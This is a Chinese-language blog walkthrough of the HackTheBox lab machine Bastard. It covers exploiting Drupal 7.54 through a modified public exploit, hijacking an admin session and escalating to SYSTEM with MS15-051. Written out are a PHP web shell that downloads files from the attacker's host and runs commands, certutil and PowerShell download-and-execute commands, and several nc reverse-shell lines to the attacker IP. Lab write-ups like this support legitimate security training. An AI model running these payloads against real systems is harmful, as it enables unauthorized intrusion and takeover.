No.53-HackTheBox-windows-Bastard-Walkthrough渗透学习

**

HackTheBox-windows-Bastard-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/6
靶机难度:中等(4.7/10)
靶机发布日期:2017年10月14日
靶机描述:
Bastard is not overly challenging, however it requires some knowledge of PHP in order to modify and use the proof of concept required for initial entry. This machine demonstrates the potential severity of vulnerabilities in content management systems.
作者:大余
时间:2020-02-13
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.9,windows系统的靶机…
在这里插入图片描述
nmap发现仅开放了80、135、49154(msrpc)端口…
在这里插入图片描述
可以看到这是一个Drupal 7 CMS架构的web服务器…CHANGELOG.txt文件可以查看有关Drupal CMS确切发行版本的信息等…看看
在这里插入图片描述
在这里插入图片描述
whatweb也可以看出…
可以看到版本是Drupal 7.54…
在这里插入图片描述
在这里插入图片描述
利用searchsploit -x 41564.php 查看发现可利用…
7.54我这边对drupal 7.x模块服务进行利用…
在这里插入图片描述
命令:./droopescan scan drupal -u 10.10.10.9 (服务器对我不友好,或者是友国人在捣乱,我经常不稳定网络)
这里我还利用了droopescan脚本对机器进行drupal扫描,看看有哪些可利用的地方…链接
继续回到利用41564.php脚本进行利用…将脚本放到本地,修改下…
在这里插入图片描述
编码:echo(system($_GET["cmd"])) 或者 system($_REQUEST["cmd"]
执行必须安装:apt-get install php-curl
这里一开始利用rest_endpoint不成功,然后利用rest后成功了…主要dirb发现了存在rest目录…
在这里插入图片描述
dirb发现存在rest访问也发现成功的…
在这里插入图片描述
成功执行并获得了session.json和user.json…
可以看到我前面执行php的时候,报错了几次,我调试了几次,有两处小地方需要调整下…
在这里插入图片描述
在这里插入图片描述
需要调整的两个地方…不然报错…
可以看到已经执行成功…
在这里插入图片描述
可以看到通过php写入的cmd已经可以读取对方windows的信息…
在这里插入图片描述
这里需要利用sessions.json文件进行会话劫持…
在firefox的Tools中带的
在这里插入图片描述
还可以看到这是X64的系统…
在这里插入图片描述
添加即可…
在这里插入图片描述
可以看到已经登陆admin用户界面…
这里我目前知道两种方法能将shellcode上传到目标…

标准非应用层协议

在宿主机和远控服务器之间或不同的宿主机之间的通信使用标准非应用层协议,可能使用的协议非常多,具体事例包括网络层协议的使用,如互联网控制消息协议(the Internet Control Message Protocol, ICMP),传输层协议,如用户数据报协议(the User Datagram Protocol,UDP),会话层协议,如套接字安全协议(SOCKS),以及重定向/隧道协议,如LAN上串行协议(Serial over LAN, SOL)。

在主机之间使用ICMP通信,是因为ICMP是互联网协议套件(the Internet Protocol Suite)的一部分,所有的IP兼容主机都能够实现ICMP协议。但它不像TCP、UDP等其他网络协议那样被监控,所以可以被攻击者用于隐藏流量
请理解接下来的行为…

方法1:

通过certulti下载nc
在这里插入图片描述
在这里插入图片描述mFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM0ODAxNzQ1,size_16,color_FFFFFF,t_70)
命令:http://10.10.10.9/dayuxiyou.php?cmd=certutil%20-urlcache%20-f%20http://10.10.14.16:8000/nc64.exe nc64.exe
成功下载到windows…
在这里插入图片描述
命令:http://10.10.10.9/dayuxiyou.php?cmd=certutil -urlcache -f http://10.10.10.9/nc64.exe nc64.exe
成功获得反向shell…

方法2:

利用编写php进行…
在这里插入图片描述
配置了执行请求dayu,然后下载是fupload…
在这里插入图片描述
命令:

$url = 'http://10.10.10.9/';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$phpCode = <<<'EOD'
<?php
        if (isset($_REQUEST['fupload'])) {
                file_put_contents($_REQUEST['fupload'], file_get_contents("http://10.10.14.16:8000/" . $_REQUEST['fupload']));
    };
    
        if (isset($_REQUEST['dayu'])) {
                echo "<pre>" . shell_exec($_REQUEST['dayu']) . "</pre>";
        };
?>
EOD;
 
$file = [
    'filename' => 'dayuxiyou.php',
    'data' => $phpCode
];


检查php执行正常…
在这里插入图片描述
重新运行…
命令:http://10.10.10.9/dayuxiyou.php?fupload=nc64.exe (上传nc.exe)
在这里插入图片描述
命令:http://10.10.10.9/dayuxiyou.php?dayu=nc64.exe&dayu=nc64.exe -e cmd 10.10.14.16 6001
成功获得反向shell…

方法3:

利用kali自带的smbserver,并进行共享…
locate smbserver.py查找…
在这里插入图片描述
命令:python /root/Desktop/dayuBastard/smbserver.py dayugongxiang /var/www/html/
开启共享文件,dayugongxiang ,然后html目录下放了nc64.exe或者nc.exe即可…
在这里插入图片描述
在这里插入图片描述
命令:10.10.10.9/dayuxiyou.php?dayu=copy \\10.10.14.16\dayugongxiang\nc64.exe nc64.exe
可以看到已经成功复制文件进去…
在这里插入图片描述
成功获得反向shell…

方法4:

利用官方介绍的方法进行提权…
在这里插入图片描述
可以通过在“模块”页面上启用PHP筛选器模块来实现PHP执行。 之后,只需浏览至添加内容,然后至文章。 将PHP粘贴到文章正文中,将“文本”格式更改为PHP代码,然后单击“预览”可以轻松执行代码。----官方翻译…
在这里插入图片描述
在Modules找到了PHP模块,默认是没勾上的,勾上save即可…在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
PHP代码提权:链接
在这里插入图片描述
在这里插入图片描述
然后预览即可…
在这里插入图片描述
仅仅通过这种方式就拥有了管理员…使用起来更简单,但这也是官方给的一种方法…

使用Powershell Empire-PowerUp.ps1

PowerShell Empire是用于运行Microsoft Windows和/或Windows Server操作系统的计算机和服务器的开发后框架…
在这里插入图片描述
在这里插入图片描述
注意:PowerUp.ps1可以在windows内部运行,因此我们需要在文件“ Invoke-AllChecks”的底部添加并保存…
在这里插入图片描述
命令:http://10.10.10.9/dayuxiyou.php?dayu=echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.16:8000/PowerUp.ps1') | powershell -noprofile -
然后利用PowerShell上传执行PowerUp.ps1…
过了几分钟,查看结果,可以看到访问被拒绝,说明没有管理员权限…

使用Powershell Empire-Sherlock.ps1

Sherlock.ps1脚本用于快速查找缺少的软件补丁,发现并解决本地特权升级漏洞…
使用sherlock.ps1查找漏洞…
在这里插入图片描述
在这里插入图片描述
需要使用Find-AllVulns编辑文件,在文件末尾添加即可…
命令:/root/.local/share/Trash/files/Sherlock/Sherlock.ps1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
命令:http://10.10.10.9/dayuxiyou.php?dayu=echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.16:8000/Sherlock.ps1') | powershell -noprofile -
Appears Vulnerable就是存在漏洞…可以利用…这边找找
在扫描出来的结果中,只发现了ms10-092、ms15-051、ms16-032漏洞可以利用…
Sherlock.ps1脚本发现利用exe链接
在这里插入图片描述
下载地址上面已经给了…
利用ms15-051x64.exe…

成功获得user.txt

在这里插入图片描述
在这里插入图片描述

成功获得root.txt

certutil:

在这里插入图片描述
命令:certutil -urlcache -f http://10.10.14.16:8000/ms15-051x64.exe dayucertutil.exe
在这里插入图片描述
命令:dayucertutil.exe "nc.exe 10.10.14.16 6006 -e cmd.exe"

php提权:

在这里插入图片描述
上传ms15-051.exe不支持“-”…在本地改下名称…
在这里插入图片描述
在这里插入图片描述
成功输出命令…
在这里插入图片描述
命令:http://10.10.10.9/dayuxiyou.php?fupload=dayums.exe&dayu=dayums.exe "nc64.exe -e cmd 10.10.14.16 6007"
成功提权…

smbserver:

在这里插入图片描述
利用smbserver共享目录进行操作…成功提权获得root.txt信息…(root信息不公布…自行学习加油)

这里利用了四种不同的方法进行windows靶机渗透…后期我会拿出百分百的精神,百分百的努力来对每一台靶机进行各种方式渗透,能想到的都会用上…希望这种方式方法能让我记得更深,加油!!

可以看到前面还有很多信息没用写出来,自行挖掘把,ms16-032 ms10-092这两个可利用的漏洞也没写,我试了发现是可行的,都需要通过MSF生成一个EXE,然后得共享放到windows桌面上,然后利用提权即可…

要不断的生成想法,无论它们有多么的疯狂和牵强体会,用你大脑中的灰色物质来为它们搭建新的关联。

我更希望有人能和我分享别得方式方法来拿下这台靶机!!!

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了54 篇原创文章 · 获赞 9 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/104277881